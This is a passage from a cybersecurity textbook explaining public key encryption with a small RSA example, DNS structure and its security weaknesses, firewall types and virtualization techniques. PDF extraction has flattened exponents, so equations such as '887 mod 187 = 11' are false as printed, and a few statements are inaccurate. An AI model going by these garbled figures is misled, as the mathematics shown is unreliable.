of the ciphertext and the encryption of the plaintext. When both of
these values match, the attacker has successfully identified both keys
used for encrypting the message.
Symmetric encryption can be very fast and protect sensitive information provided the key remains secret. The grouping of larger blocks
of data in the encryption algorithm makes it more difficult to decrypt
without the key. Key exchange and protection are the most important
aspects of symmetric cryptography because anyone who has the key
can both encrypt and decrypt messages. Asymmetric algorithms are
different because they use different keys for encryption and decryption, and in this way, public key encryption can solve other goals
beyond symmetric algorithms that protect confidentiality.
1.1.4â•‡ Public Key Encryption
This section continues this series with a brief discussion of asymmetric encryption, more commonly referred to as public key encryption.
Public key encryption represents a branch of cryptography for
which the distinguishing attribute of the system is the use of two
linked keys for encryption and decryption, rather than a single key.
While a variety of public key encryption solutions have been proposed, with some implemented and standardized, each system shares
one common attribute: each public key system uses one key, known as
the public key, to encrypt data, and a second key, known as the private
key, to decrypt the encrypted data.
Public key encryption solves one of the major issues with symmetric key encryption, namely, the use of a shared key for both sides of
the conversation. In public key systems, the intended recipient of a
secure communication publishes his or her public key. Anyone wishing to send a secure datagram to the recipient uses the recipient’s public key to encrypt the communication; however, those in possession of
the public key cannot use the key to decrypt the communication. The
use of a public key is a one-way cryptographic operation. This allows
recipients to give out their public keys without the risk of someone
using the same public keys to reveal the original content of the messages sent. This is the most obvious advantage over symmetric encryption. To decrypt the encrypted message, the recipient uses his or her
Internet
Sender
Plaintext
Encryption
Receiver’s
Public Key
Sender
Plaintext
Receiver
txet nialP
Encryption
Decryption
Internet
12359843212465
76865432135498
78435432157695
Plaintext
Receiver’s
Private Key
Receiver
Decryption
Plaintext
Exhibit 1-8â•… Symmetric encryption (top) versus public key encryption (bottom).
private key. The private key has a mathematical relationship to the
public key, but this relationship does not provide an easy way for an
attacker to derive the private key from the public key. Given the fact
that the recipient uses the private key to decrypt messages encoded
with the public key, it is paramount that the owner of the private key
keeps it secure at all times.
Visually, the process of encrypting and decrypting a message using
the public key method is similar to the process of using symmetric
encryption with the notable exception that the keys used in the process are not the same. Exhibit 1-8 illustrates this disconnect.
One of the simplest analogies for public key encryption is the lock
box analogy. In essence, if an individual (Blake, for example) wanted
to send a message to another individual (Ryan, for example) without
exchanging a shared cryptographic key, Blake could simply place his
communication in a box and secure it with a lock that only Ryan could
open. For Blake to possess such a lock, the box would need to be
publicly available. In this case, that lock represents Ryan’s public key.
Blake could then send the locked box to Ryan. Upon receiving the
box, Ryan would use his key to unlock the box to retrieve the message.
In this situation, once Blake has locked (encrypted) his message to
Ryan into the lock box with Ryan’s lock (public key), Blake, or anyone
else who may come in contact with the lock box, will be unable to
access the contents. Only with Ryan’s private key to the lock box will
the message become retrievable.
18 Cy ber Se c urit y E s senti a l sï»¿
Unlike symmetric encryption schemes that rely on a shared
key and the use of substitutions and permutations of the data
stream, public key encryption systems use mathematical functions.
Researchers have developed a variety of public key–asymmetric
encryption schemes, some more practical than others, but each of
these schemes relies on the use of mathematical functions to encrypt
and decrypt the data stream. A key attribute of the process is the
fact that while both the public key and private key are mathematically related, it is practically impossible, given a finite time frame,
to derive the private key from the public key. This fact allows the
unbiased distribution of the recipient’s public key without the fear
that an attacker can develop the private key from the public key to
decrypt the encoded message.
Whitfield Diffie and Martin Hellman developed one of the first
asymmetric encryption schemes in 1976.8 Their original work focused
on the framework of establishing an encryption key for communication between two parties that must talk over an untrusted and insecure communication medium. Later, in 1979, researchers at MIT
(Ron Rivest, Adi Shamir, and Leonard Adleman)9 expanded on this
research to develop one of the widest used public key encryption systems in use today. Known as the RSA system, a name derived from the
original inventors’ last names, the system uses large prime numbers
to encrypt and decrypt communication. While the math involved is
somewhat cumbersome for the confines of this text, in essence the
RSA process works as such:
1.The recipient generates three numbers: one to be used as an
exponential (e), one as a modulus (n), and one as the multiplicative inverse of the exponential with respect to the modulus
(d). The modulus n should be the product of two very large
prime numbers, p and q. Thusly, n = pq.
2.The recipient publishes his or her public key as (e, n).
3.The sender transforms the message (M) to be encrypted into
an integer whose value is between 0 and (n−1). If the message
cannot fit within the confines of this integer space, the message is broken into multiple blocks.
4.The sender generates the ciphertext (C) by applying the following mathematical function:
Cy ber Se c urit y F un d a m en ta l s C = Me mod n
19
5.The sender transmits the ciphertext to the recipient.
6.The recipient uses the pair (d, n) as the private key in order
to decrypt the ciphertext. The decryption process uses the
following mathematical transform to recover the original
plaintext:
M = Cd mod n
The power of the RSA scheme lays in the use of the large prime
numbers p and q. Factoring an extremely large prime number (on the
order of 21024 or 309 digits) is an exceedingly difficult task—a task for
which there is no easy solution. To understand how the RSA scheme
works in simpler terms, it is best to use a simpler, smaller example:10
1.The recipient chooses two prime numbers: for example, p = 17
and q = 11.
2.The recipient calculates n by multiplying the two prime numbers together: (n = 187).
3.The recipient chooses an exponent such that the exponent is
less than (p−1)(q−1), which is 160, and the exponent is relatively prime to this number. In this scenario, a recipient could
choose the number 7, as it is less than 160 and relatively prime
to 160.
4.The value of d is calculated by solving de = 1 (mod 160) with
d < 160. The math behind this calculation is beyond the scope
of this book; however, in this scenario, d has the value of 23.
5.At this point in the scenario, the recipient could have developed a private key of (23, 187) and a public key of (7, 187).
If the sender were to encrypt the message of 88 (which is between
0 and 186) using the RSA method, the sender would calculate 887
mod 187, which equals 11. Therefore, the sender would transmit the
number 11 as the ciphertext to the recipient. To recover the original
message, the recipient would then need to transform 11 into the original value by calculating 1123 mod 187, which equals 88. Exhibit 1-9
depicts this process.
As seen in the previous example, public key encryption is a computationally expensive process. As such, public key encryption is not
2 0
Plaintext
88
Encryption
887 mod 187 = 11
Ciphertext “11”
Public Key (7, 187)
Decryption
1123 mod 187 = 88
Plaintext
88
Private Key (23, 187)
Exhibit 1-9â•… An RSA encryption–decryption example. Note: RSA stands for Ron Rivest, Adi Shamir,
and Leonard Adleman, its inventors.
suited for bulk data encryption. The computational overhead resulting
from public key encryption schemes is prohibitive for such an application. Smaller messages and symmetric encryption key exchanges
are ideal applications for public key encryption. For example, secure
socket layer (SSL) communication uses public key encryption to
establish the session keys to use for the bulk of the SSL traffic. The
use of public key encryption to communicate the key used in a symmetric encryption system allows two parties communicating over an
untrusted medium to establish a secure session without undue processing requirements.
Compared to the old symmetric encryption, public key encryption is a new technology revolutionizing the field of cryptography.
The encryption scheme allows parties to communicate over hostile
communication channels with little risk of untrusted parties revealing
the contents of their communication. The use of two keys—one public
and one private—reduces the burden of establishing a shared secret
prior to the initial communication. While the mathematics involved
in public key encryption is complex, the result is an encryption system
that is well suited for untrusted communication channels.
1.1.5â•‡ The Domain Name System (DNS)
This section explains the fundamentals of the domain name system (DNS), which is an often overlooked component of the Web’s
infrastructure, yet is crucial for nearly every networked application.
Many attacks, such as fast-flux and DNS application, take advantage of weaknesses in the DNS design that emphasize efficiency over
security. Later sections will discuss some attacks that abuse the DNS
and will build upon the base information provided in this section.
DNS is a fundamental piece of the Internet architecture. Knowledge
of how the DNS works is necessary to understand how attacks on the
system can affect the Internet as a whole and how criminal infrastructure can take advantage of it.
The Internet Protocol is the core protocol the Internet uses. Each
computer with Internet access has an assigned IP address so that other
systems can send traffic to it. Each IP address consists of four numbers between 0 and 255 separated by periods, such as 74.125.45.100.
These numbers are perfect for computers that always deal with bits
and bytes but are not easy for humans to remember. To solve this
problem, the DNS was invented in 1983 to create easy-to-remember
names that map to IP address.
The primary goal that the designers of the DNS had in mind was
scalability. This goal grew from the failure of the previous solution
that required each user to download a multithousand-line file named
hosts.txt from a single server. To create a truly scalable system, the
designers chose to create a hierarchy of “domains.” At the top of the
hierarchy is the “root” domain under which all other domains reside.
Just below the root domain are top-level domains (TLD) that break
up the major categories of domains such as .com, .gov, and the country code TLDs. Below the TLDs are second-level domains that organizations and individuals can register with the registry that manages
that TLD. Below second-level domains are the third-level domains
and so forth, with a maximum of 127 levels. Exhibit 1-10 shows how
.
.com
google.com
www.google.com
yahoo.com
mail.google.com
Root Domain
.net
.uk
live.com
talk.google.com
Top Level Domain
2nd Level Domain
3rd Level Domain
Exhibit 1-10â•… The hierarchical structure of the domain name system (DNS).
2 2
Cy ber Se c urit y E s sen ti a l sï»¿
the hierarchical nature of the DNS leads to a tree-like structure consisting of domains and subdomains.
Separating domains in this way allows different registries to manage the different TLDs. These registries are responsible for keeping
the records for their assigned TLD and making infrastructure available to the Internet so users can map each domain name to its corresponding IP address.
The DNS uses computers known as name servers to map domain
names to the corresponding IP addresses using a database of records.
Rather than store information for every domain name in the system,
each DNS server must only store the information for its domain. For
instance, the name server gotgoogle.com keeps information for www.
google.com and mail.google.com but not for www.yahoo.com. Name
servers are granted authority over a domain by the domain above
them, in this case .com. When a name server has this authority, it
aptly receives the title of authoritative name server for that domain.
The hierarchical nature that defines the DNS is also a key to the
resolution process. Resolution is the process of mapping a domain to
an IP address, and resolvers are the programs that perform this function. Due to the nature of the resolution process, resolvers fall into
two categories: recursive and nonrecursive. Exhibit 1-11 shows the
steps required for a resolver to complete this process. The first step in
resolving www.google.com is contacting the root name server to find
out which name server is authoritative for .com. Once the resolver has
this information, it can query the .com name server for the address
of the google.com name server. Finally, the resolver can query the
google.com name server for the address of www.google.com and pass
it on to a Web browser or other program.
Exhibit 1-11 depicts the most common way for systems to resolve
domain names: by contacting a recursive DNS server and allowing it
to do the work. A nonrecursive resolver (like the one used by a home
PC) will only make a single request to a server, expecting the complete answer back. Recursive resolvers follow the chain of domains,
requesting the address of each name server as necessary until reaching
the final answer. Using recursive DNS servers also makes the system
much more efficient due to caching. Caching occurs when a DNS
server already knows what the answer to a question is, so it does not
need to look it up again before responding to the query. The addresses
3
4
1
Client
8
DNS Server
5
6
7
Root
Name Server
.com TLD
Name Server
192.5.6.30
23
1. What is google.com’s
IP Address
2. What is .com’s Name Server
IP Address
3. 192.5.6.30
4. What is google’s Name Server
IP Address
5. 216.239.32.10
6. What is google’s IP Address?
7. 74.125.45.100
8. 74.125.45.100
google Second
Level Domain Server
216.239.32.10
Exhibit 1-11â•… Resolution of google.com using a recursive DNS server.
of the root server and the .com server are usually cached due to the
frequency with which systems request them.
The DNS stores information in Resource Records (RR). These
records are separated by type, and each one stores different information about a domain. RFC1035 defines the variety of different RR
types and classes, including the most common types: A, NS, and
MX.11 An A record maps a domain to an IP address. NS records provide the name of that domain’s authoritative name server. The NS
record includes an additional section with the type A records for the
name servers so the resolver can easily contact them. The MX records
refer to mail exchange domains used to send e-mail over Simple Mail
Transfer Protocol (SMTP). Like an NS record, MX records include an
additional section to provide type A records to the domains included
in the MX record. The following is an example of a query for the
www.google.com A record and the resulting answer.
;; QUESTION SECTION:
;; NAME
;www.google.com.
;; ANSWER SECTION:
;; NAME
TTL
www.google.com.
180
CLASS
IN
TYPE
A
CLASS TYPE
IN
A
DATA
64.233.169.147
In the question section, the resolver has specified that it wants the
A record for www.google.com in the Internet class (specified by IN).
During the development of DNS, additional classes were created, but
the Internet class is the only one commonly used today. The answer
session includes the information from the question, the IP address for
24
Cy ber Se c urit y E s senti a l sï»¿
the domain, and a time-to-live (TTL) value. The TTL specifies the
number of seconds for which the data in the record are valid. This value
is the key to the caching system described above; as without a TTL, the
servers would not know how long any particular data could be cached.
1.1.5.1â•‡ Security and the DNSâ•… As a fundamental part of the modern
Internet, the security of the DNS is important to all Internet users. In
the previous discussion of how the DNS system works, it is important
to note that no authentication of results ever occurred. This makes the
system vulnerable to an attack known as DNS cache poisoning, wherein
an attacker tricks a DNS server into accepting data from a nonauthoritative server and returns them to other resolvers. Extensions to the
DNS protocol, known as DNSSEC, solve this problem using cryptographic keys to sign RRs.12 While this system has not yet been widely
adopted, VeriSign, the company responsible for management of the
root domain, deployed DNSSEC for the root DNS servers on July 16,
2010. This is an important step in the deployment of DNSSEC as it
provides a single trust anchor that other domains can use to streamline
deployment.16 Protection of credentials used to manage domains with
registrars is also key to the security of the DNS. In December 2008,
attackers gained access to the credentials that control many domains,
including checkfree.com, and used them to install a banking Trojan
on visitors’ systems. Legitimate use of DNS also has implications
for security professionals. Fast-flux networks rely on very short DNS
TTL values to change the IP address associated with a domain rapidly.
Phishing attacks that employ domain names similar to those registered
by financial institutions also employ the DNS. Attackers can exploit
the length of a domain name to create phishing domains that mimic
legitimate banking domains to steal information. Exhibit 1-12 shows
a five-level domain of online.citibank.com.n5mc.cn that may appear to
belong to CitiBank but is actually a subdomain of n5mc.cn.
Organizations that want to issue takedown requests for these
domains need to understand how the DNS works so they can take the
correct actions.
Exhibit 1-12â•… A long phishing domain appearing to belong to CitiBank.
1.1.6â•‡ Firewalls
The Internet of today is in stark contrast to the close-knit group of
research networks that made up the Internet forty years ago. As the
Internet has grown, the need to protect networks and even individual
computers has become a major concern. To this end, devices and software that fall under the banner of “firewall” have become a necessity
for any and all computers connected to the Internet that the user wants
to remain safe. While the term firewall may conjure different images
for different people, the basic concept of a firewall is simple: Keep the
bad people out of our computer. In this section, explore the concept of
firewalls, what they really do, and how they do it.
1.1.6.1â•‡ History Lessonâ•… The Internet turned forty years old in 2009,
but the use of devices to separate one network from another, undesirable network, did not occur until the late 1980s.13 At the time, network
administrators used network routers to prevent traffic from one network
from interfering with the traffic of a neighboring network. Enhanced
routers introduced in the 1990s included filtering rules. The designers
of these routers designated the devices as security firewalls. The configuration of these special routers prevents unnecessary or unwanted traffic
from entering a company’s network boundaries. The routers used filtering rules to determine which network traffic administrators considered
good and which traffic they considered bad, but the use of router filtering
rules was cumbersome to maintain as networks continued to evolve.
The next generation of security firewalls improved on these filterenabled routers. During the early 1990s, companies such as DEC,
Check Point, and Bell Labs developed new features for firewalls.
Check Point, for instance, eased the technical expertise requirements
for configuring firewalls by providing user-friendly interfaces while
at the same time providing administrators with new configuration
options for refined rule sets.
1.1.6.2â•‡ What’s in a Name?â•… The question remains: what exactly is a
firewall? Firewalls are network devices or software that separates one
trusted network from an untrusted network (e.g., the Internet) by means
of rule-based filtering of network traffic as depicted in Exhibit 1-13.
Despite the broad definition of a firewall, the specifics of what makes
2 6
Inbound
Outbound
Attacker
Firewall
Internet
Internal Network
Attacker
Customer
Read Filter Rules
Inbound
Connection?
NO
YES
Does
Connection Match
Inbound
Rules?
Filter Rules
Does
Connection Match
Outbound
Rules?
NO
NO
YES
Inbound:
Allow SSH
Deny RDP
Deny P2P
Allow HTTP
YES
Deny
Outbound:
Deny P2P
Allow All
Allow
Exhibit 1-13â•… A basic firewalled network.
up a firewall depend on the type of firewall. There are three basic types
of firewall: packet-filtering firewalls, stateful firewalls, and application
gateway firewalls. While each of these different firewall types performs
the same basic operation of filtering undesirable traffic, they go about the
task in different manners and at different levels of the network stack.14
While Exhibit 1-13 identifies the firewall as a separate physical device
at the boundary between an untrusted and trusted network, in reality a
firewall is merely software. This does not mean that physical, separate
devices are not firewalls, but merely that these devices are simply computers running firewall software. Host-based firewalls have found their
way into most operating systems. Windows XP and later versions have
a built-in firewall called the Windows Firewall.15 Linux- and Unixbased computers use ipchains16 or iptables17 (depending on the age and
type of the operating system [OS]) to perform firewall functionality;
therefore, it is important to understand that firewalls can exist at different locations within a network, not just at the perimeter of a network.
1.1.6.3â•‡ Packet-Filtering Firewallsâ•… The most rudimentary of firewalls
is the packet-filtering firewall. Packet-filtering firewalls work at the
IP level of the network. Most routers integrate this type of firewall to
perform basic filtering of packets based on an IP address. The principle
behind packet-filtering firewalls is that the firewall bases the decision
to allow a packet from one network into another network solely on the
IP address of the source and destination of the packet. For instance, if
the firewall administrator defines the following packet-filtering rules,
and if a packet from host 1.1.1.1 is destined for host 2.2.2.2, the firewall allows the packet to pass.
ALLOW host 1.1.1.1 to host 2.2.2.2
DENY ALL
On the other hand, if the packet originated from 2.2.2.2 with a
destination of 3.3.3.3, the firewall would stop the packet from traversing the network any further due to the DENY ALL rule. Generally,
firewalls contain an implied DENY ALL rule. If the administrator
fails to include the DENY ALL rule, the firewall, after exhausting all
of the rules in the filter set, will default to the DENY ALL rule and
deny the traffic, since it did not match any defined rule.
Packet-filtering firewalls can also expand on the basic principle
of IP-address-only filtering by looking at the Transmission Control
Protocol (TCP) or User Diagram Protocol (UDP) source and destination ports. In this mode, the firewall operates in nearly the same fashion
as the packet-filtering firewalls operating on the IP address. For a packet
to pass through the firewall, the source IP and port and the destination
IP and port must match at least one rule in the filter list. More advanced
routers and even some higher-end switches offer this functionality.
To limit the exposure of a system to only necessary ports, administrators use port filtering. For example, a collocated Web server (a server
hosted by a third party) will typically open HTTP and HTTPS ports
for a customer’s server to the Internet, but the administrator will restrict
the secure shell (SSH) port on the firewall to only allow connections
from the hosting company’s network. This technique combines the
use of IP and port filtering to allow administration of resources from
28
specific networks (e.g., the company’s network or trusted third-party
networks) while allowing public services (e.g., HTTP) the necessary
Internet exposure.
It is worth pointing out a common design feature of firewalls: the
rule set’s priority. The majority of (if not all) firewalls will use the first
rule that exactly matches the conditions of the packet under observation. This means that in the previous example, the first rule matched
the packet originating from 1.1.1.1 destined for 2.2.2.2 and the firewall did not continue to apply the remaining rules. Similarly, for the
packet originating from 2.2.2.2 destined for 3.3.3.3, the last rule,
DENY ALL, matched, which resulted in the firewall dropping the
packet. This behavior leads to an interesting optimization problem for
firewall administrators. To reduce network delay introduced by the
firewall, administrators will typically move the most likely packetfiltering rule to the top of the list, but in doing so, they must ensure
that the rule does not negate another rule further down the list. An
example of such an optimization in which the administrator erroneously organized the packet filter list would be
ALLOW host 1.1.1.1 to host 2.2.2.2
DENY ALL
ALLOW host 3.3.3.3 to 1.1.1.1
In this example, the firewall administrator has placed an ALLOW
rule after the DENY ALL rule. This situation would prevent the processing of the last ALLOW rule.
1.1.6.4â•‡ Stateful Firewallsâ•… Simple packet-filtering firewalls suffer from
one significant downside: they do not take into consideration the state
of a connection, only the endpoints of the connection. Stateful firewalls
allow only properly established connections to traverse the firewall’s
borders. While packet filtering is still a key element of these firewalls,
the firewall also pays attention to the state of the connection.
Once the firewall allows a successful connection between two hosts
using the three-way TCP handshake,18 the firewall records the occurrence of a valid session between the two hosts. If an attacker attempts
to generate an invalid session, such as by sending an ACK (acknowledgment) prior to sending a SYN (synchronize), the firewall identifies
the packet as an invalid state and subsequently blocks the connection.
After a host establishes a valid session, however, communication
between the two hosts can occur unrestricted and without requiring
the firewall to rerun the list of packet filters.
It is the ability to determine the order and state of a communication
session that allows stateful firewalls to make faster determinations
about incoming packets. Of course, it is important that these firewalls
do not run out of memory from storing the state of stale connections.
To avoid this problem, stateful firewalls will purge state information
for sessions that have “gone quiet” for a significantly long period. Once
a session has expired, the next packet originating from either host will
result in the firewall verifying the packet against packet-filtering rules
and the establishment of a new session.
1.1.6.5â•‡ Application Gateway Firewallsâ•… Application gateway firewalls,
also known as proxies, are the most recent addition to the firewall family. These firewalls work in a similar manner to the stateful firewalls,
but instead of only understanding the state of a TCP connection, these
firewalls understand the protocol associated with a particular application or set of applications. A classic example of an application gateway firewall is a Web proxy or e-mail-filtering proxy. A Web proxy,
for instance, understands the proper HTTP protocol and will prevent
an improperly constructed request from passing. Likewise, an e-mailfiltering proxy will prevent certain e-mails from passing based on predefined conditions or heuristics (for example, if the e-mail is spam).
These proxies also prevent unknown protocols from passing through.
For example, a properly configured HTTP proxy will not understand
an SSH connection and will prevent the establishment of the connection (see Exhibit 1-14). This level of packet inspection cannot occur
with either a packet-filtering or stateful firewall, as neither firewall
type looks at the application layer of the network stack. By identifying
improperly constructed packets for a given protocol, the application
gateway firewalls may prevent some types of protocol-specific attacks;
however, if a particular protocol’s definition allows for such a vulnerability, the gateway will provide no protection.
1.1.6.6â•‡ Conclusionsâ•… Firewalls come in a variety of forms, from simple
packet filtering to the more complex proxy. The topic of firewalls
is complex and extremely well documented. Authors from the IT
3 0
HTTP
HTTP
SSH
Web Server
Inbound Packet?
Valid
HTTP Packet?
YES
ALLOW
NO
DENY
Exhibit 1-14â•… An application gateway filtering known and unknown protocols.
security community have dedicated entire books to the subject of
designing, administering, and implementing firewalls. To understand
the importance of firewalls, the minute details of their operation can
be avoided, but it is critical to understand the high-level concepts of
their operation. Understanding the basics of how firewalls process
traffic and how that processing prevents unwanted intrusions is the
key to understanding the security of firewalls.
Like antivirus solutions, the impression that firewalls will stop all
evils of the Internet is overstated at best. Firewalls provide a single
layer of defense in the larger scheme of defense in depth. While firewalls can reduce the attack surface of a server by blocking unnecessary
ports from the Internet at large, firewalls cannot protect resources
that are vulnerable to specific vulnerabilities such as buffer overflows
and privilege escalation attacks.
1.1.7â•‡ Virtualization
Technology has advanced to the point that server consolidation through
virtualization can help tame the cost of infrastructure deployment and
operation by reducing the number of servers required to perform the
same level of operational standards, given that enterprises typically
underutilize the full capacity available in physical servers. This section
explores the history, concepts, and technologies of virtualization.
1.1.7.1â•‡ In the Beginning, There Was Blue …â•… Infrastructure resources
such as servers are expensive. This expense comes from the cost of the
physical hardware, the cost associated with supplying power to the
servers, the cost to cool and maintain the proper operating environment for the servers, and the cost of administering the servers. For
large infrastructures with deployments of tens to tens of thousands of
servers, the cost of running these servers can quickly balloon, resulting in extremely high operational costs. To alleviate some of these
administrative costs, organizations are turning to virtualization.
Virtualization at its most fundamental level is the simulation or
emulation of a real product inside a virtual environment. Recent
efforts by many companies to capitalize on the wave of cloud computing have given the term new importance in the IT and business communities, but the term virtualization is older than most realize. In the
1960s, researchers at the IBM Thomas J. Watson Research Center in
Yorktown, New York, created the M44/44X Project. The M44/44X
Project consisted of a single IBM 7044 (M44) mainframe that simulated multiple 7044s (44X). The M44/44X Project was the first to use
the term virtual machine (VM) to describe simulating or emulating a
computer inside another computer using hardware and software.
For decades, the use of virtual machines inside mainframes has been
common practice. The use of these virtual machines gives mainframes
the ability to act not as a single machine but as multiple machines
acting simultaneously. Each virtual machine is capable of running its
operating system independent of the other virtual machines running
on the same physical machine. In this sense, the mainframe effectively turns one machine into multiple machines. Mainframes only
represent the beginning of the virtualization technology and are by
no means the only systems that provide the service.
1.1.7.2â•‡ The Virtualization Menuâ•… Virtualization comes in many forms
such as platform and application virtualization. The most recognized
form of virtualization is platform virtualization and is the method
3 2
of virtualization detailed in this section. Platform virtualization is a
broad category that contains several variations on a theme. The most
predominant platform virtualization techniques19 include full virtualization, hardware-assisted virtualization, paravirtualization, and
operating system virtualization. Each of these techniques accomplishes the task of virtualization in different ways, but each results
in a single machine performing the function of multiple machines
working at the same time.
With the exception of operating system virtualization, the high-level
representation of a virtual machine is largely consistent amongst the
various virtualization techniques. Each technique, to varying degrees,
presents a virtual hardware platform on which a user can deploy an
operating system. Unlike emulation systems explained later in this
section, virtualization systems require that the virtual machine match
the basic architecture of the host machine (the machine running the
virtual machines). This means that a standard x86 host is incapable
of hosting a virtual PowerPC-based system (such as the older Apple
Macintosh systems). The distinction between the different virtualization techniques exists due to the way the virtual machine application, commonly referred to as the virtual machine monitor (VMM) or
hypervisor, partitions the physical hardware and presents this hardware to virtual machines.
Virtualization systems consist of several key components: a VMM,
physical hardware, virtual hardware, virtual operating systems, and a
host (or real) operating system. Exhibit 1-15 illustrates the relationship of these components. The key component, the component that
makes virtualization possible, is the VMM.
Virtual Machine
Virtual Machine
Virtual Machine Monitor
Operating System
Real
I/O
Real
Memory
Application
Application
Operating System
Real
CPU
Host Machine
Virtual
I/O
Virtual
Memory
Virtual
CPU
Virtual Machine
Exhibit 1-15â•… The relationship between virtual machines and a host machine.
The VMM is the application layer between the various virtual
machines and the underlying physical hardware. The VMM provides
the framework for the virtual machine by creating the necessary virtual components. These components include, but are not limited to,
hardware devices like network interface cards (NICs), sound cards,
keyboard and mouse interfaces, a basic input–output system (BIOS),
and virtual processors. It is the responsibility of the VMM to mate
the needs of the virtual machine with the available physical resources.
The manner in which the VMM handles these needs dictates the type
of virtualization technique employed.
1.1.7.3â•‡ Full Virtualizationâ•… Full virtualization, as the name implies,
strives to provide the most realistic, completely accurate virtual representation of the real hardware. For x86-based architecture, this is
problematic. The x86 family of processors offers different levels of
privilege to running code. Known as rings, these levels of protection
are in place to prevent lower privileged code, such as that found in a
standard application, from interfering or corrupting higher privileged
code such as the kernel of the operating system.
The most privileged code level, known as ring-0, typically houses
the kernel, or core, of the computer’s operating system. Code that
executes in ring-0 can manipulate the most sensitive components of
the computer freely. This ability is required for operating systems to
manage memory, allocate time slices to particular processes (used for
multitasking), and monitor and maintain input–output (I/O) operations like hard drive and network activity. When a VMM uses full
virtualization, the VMM attempts to execute code in the virtual
machine in the exact manner a physical machine would. The VMM
must ensure that while faithfully executing the VM’s code, the VM’s
code does not interfere with the host machine or other VMs.
To make virtualization faster and more efficient, virtual machine
applications such as VMware utilize the host machine’s processor to
execute instructions requested by the virtual machine. For example,
if the virtual machine requests to move memory from one location to
another location, the VMM would execute the instructions natively
on the host machine and post the result to the virtual machine. This
requires significantly less processor time and fewer resources than
emulating the CPU, resulting in a faster virtual machine.
3 4
The problem that many in the virtualization sector faced was the
way certain x86 ring-0 instructions operate. Based on its architecture, the x86 cannot virtualize several of its instructions without
encountering unknown or undesired effects. To avoid this hurdle,
the VMware family of virtual machine applications runs the virtual
machine in a less privileged ring (such as ring-3 or -1) while placing
the VMM in ring-0. When the virtual machine’s operating system,
for instance, attempts to execute a ring-0 command, an exception
occurs that the CPU gives to the handler in ring-0. With the VMM
residing in ring-0, the VMM can translate the offending instruction into a series of virtual machine operations that produce the same
result without requiring the host machine to execute an instruction
that would produce instability. VMware refers to this technique as
binary translation.
1.1.7.4â•‡ Getting a Helping Hand from the Processorâ•… As the virtualiza-
tion technology has matured from a software perspective, the hardware manufacturers have begun to show interest in the field, which
opens the door for hardware-assisted virtualization. Recently, Intel
and AMD released newer x86-based processors that incorporate features known as processor extensions to aid virtualization. The processor
extensions give Intel’s Virtualization Technology (VT)20 and AMD’s
AMD-V21 chip-level solutions to the issue of privileged x86 instructions that the VMM cannot virtualize. These technologies provide an
even more privileged layer than ring-0 in which the VMM resides.
With hardware-assisted virtualization, the VMM operates in a
new root mode privilege level—a level below ring-0. The processor
extensions allow the VMM to operate in this sub-ring-0 privilege
level while allowing the virtual machine’s operating system access
to the privileged ring-0. When the virtual machine’s operating system executes an instruction that would cause instability in the host
machine’s operating system, the hardware passes the request to the
VMM, which resides in a separate processor space by virtue of the
processor extensions in order to handle the offending instruction.
This allows the virtual machine’s operating system to run largely
unobstructed (thus reducing overhead). At the same time, the host
processor ensures that the virtual machine’s operating system does
not impede the host operating system since the VMM will handle
conditions that would cause instability between the two competing
operating systems.
Hardware-assisted virtualization is an extension of full virtualization. Like full virtualization, hardware-assisted virtualization provides the virtual machine with a completely virtual hardware system.
The advantage of hardware-assisted virtualization is the possibility
that with a suitably designed system, the CPU can more efficiently
handle instructions generated from the guest operating system that
would otherwise cause instability.
1.1.7.5â•‡ If All Else Fails, Break It to Fix Itâ•… Developed prior to the intro-
duction of hardware-assisted virtualization technologies in the x86
architecture, paravirtualization provides a solution to the nonvirtualizable instruction problem present in the x86 processors. Unlike full
virtualization, which runs the virtual machine’s operating system in a
ring with less privilege than ring-0, paravirtualization allows the virtual machine’s operating system to run in ring-0 after modifying the
system to restrict the dangerous x86 instructions. Paravirtualization
breaks instructions that would otherwise cause instability in the host
machine and replaces these instructions with calls to the VMM to
allow the VMM to handle the instructions using the appropriate
actions. The result is a virtual machine’s operating system and applications running in the rings that the developers originally intended,
but at the cost of modifying the kernel of the virtual machine’s operating system.
The obvious disadvantage of paravirtualization is the required
modification to the virtual machine’s operating system. For closedsource operating systems, it is difficult to modify the kernel fully to
meet the requirements of paravirtualization. Most paravirtualization-based virtual machines run modified Linux operating systems.
An example of a paravirtualization system is the open-source Xen 22
application for the Linux operating system. Commercial applications such as VMware support the paravirtualization mode, but the
choice of the virtual machine’s operating system limits the usefulness of paravirtualization. 23
1.1.7.6â•‡ Use What You Haveâ•… Operating system-assisted virtualiza-
tion differs dramatically from the underlying concept that ties full
3 6
Application
Application
Virtual Operating System
Operating System
Real
I/O
Real
Memory
Real
CPU
Host Machine
Exhibit 1-16â•… Operating system-assisted virtualization.
virtualization, paravirtualization, and hardware-assisted virtualization together. Instead of providing a realistic virtualized machine
complete with dedicated I/O, memory, and processors, operating
system-assisted virtualization provides an application with the illusion of a dedicated operating system. This virtualization technique is
common on Linux- and Unix-based systems via chroot, 24 FreeVPS, 25
FreeBSD Jail,26 and others.
Whereas the other virtualization techniques provide a virtual
machine capable of supporting ring-0 instructions, operating systemassisted virtualization provides only user mode resources. This means
that the virtual environment is unable to run privileged instructions,
which require ring-0. This type of system allows a single operating system instance to run multiple applications in isolation while
still providing them with the necessary operating system resources
such as disk and network access. Exhibit 1-16 depicts this form of
virtualization.
1.1.7.7â•‡ Doing It the Hard Wayâ•… Emulators operate on the same basic
principles as virtualization systems except that the requirement that
the host machine must match the same basic architecture as the
virtual machine does not limit emulators. Emulators, as the name
implies, emulate all aspects of the virtual machine’s hardware. While
virtualization systems will offload the execution of a virtual machine’s
operating systems or applications to the host machine’s processor,
emulators do not. Emulation systems translate the virtual machine’s
instructions into instructions that can run on the host machine.
The CPU of a virtual machine inside an emulator can be radically
different from the host machine’s CPU. For instance, emulators exist
that allow x86 architectures to run virtual machines that emulate older
Apple Macintosh operating systems.27 The power of emulators to run
radically different architectures than the host machine’s architecture
comes at a price. For every CPU instruction that a virtual machine’s
CPU executes, the host machine must translate the instruction into a
series of instructions that the host machine’s CPU can execute. This
constant translation of CPU instructions from the virtual CPU to the
host CPU can result in a significant amount of overhead. The overhead, of course, results in a significant performance penalty.
Emulators are not strictly for dissimilar architectures. Emulators
can run virtual machines of the same architecture as the host
machine. VMware, if specifically configured to do so, can emulate
the x86 architecture including the CPU within a virtual machine.
The advantage of this behavior is to provide an even more realistic
virtual environment that does not rely on the translation of certain
ring-0 instructions.
1.1.7.8â•‡ Biting the Hand That Feedsâ•… Virtualization of infrastructure
resources may reduce the number of physical servers required; at
the same time, it is important to understand that virtualization may
introduce risks. While many virtualization systems attempt to provide
rigid boundaries between the host system and the virtual machines
